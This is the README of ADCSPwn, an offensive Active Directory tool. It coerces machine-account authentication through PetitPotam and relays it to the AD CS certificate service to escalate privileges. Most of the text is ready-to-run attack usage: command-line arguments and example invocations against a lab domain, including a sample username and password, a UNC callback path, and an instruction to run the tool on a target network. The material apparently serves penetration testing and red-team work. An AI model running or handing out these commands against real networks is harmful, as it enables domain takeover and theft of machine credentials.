A tool to escalate privileges in an active directory network by coercing authenticate from machine accounts (Petitpotam) and relaying to the certificate service.
Run ADCSPwn on your target network.
Author: @_batsec_ - MDSec ActiveBreach
Contributor: @Flangvik - TrustedSec
Contributor: @424f424f - Black Hills Information Security
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
Required arguments:
adcs - This is the address of the AD CS server which authentication will be relayed to.
Optional arguments:
secure - Use HTTPS with the certificate service.
port - The port ADCSPwn will listen on.
remote - Remote machine to trigger authentication from.
username - Username for non-domain context.
password - Password for non-domain context.
dc - Domain controller to query for Certificate Templates (LDAP).
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output - Output path to store base64 generated crt.
Example usage:
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --secure
adcspwn.exe --adcs cs.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --dc dc.pwnlab.local --unc \\WIN-WORK01.pwnlab.local\made\up\share
- @harmj0y & @tifkin_ for their whitepaper detailing this issue.
- @topotam77 for showing how
EfsRpcOpenFileRawcan be abused.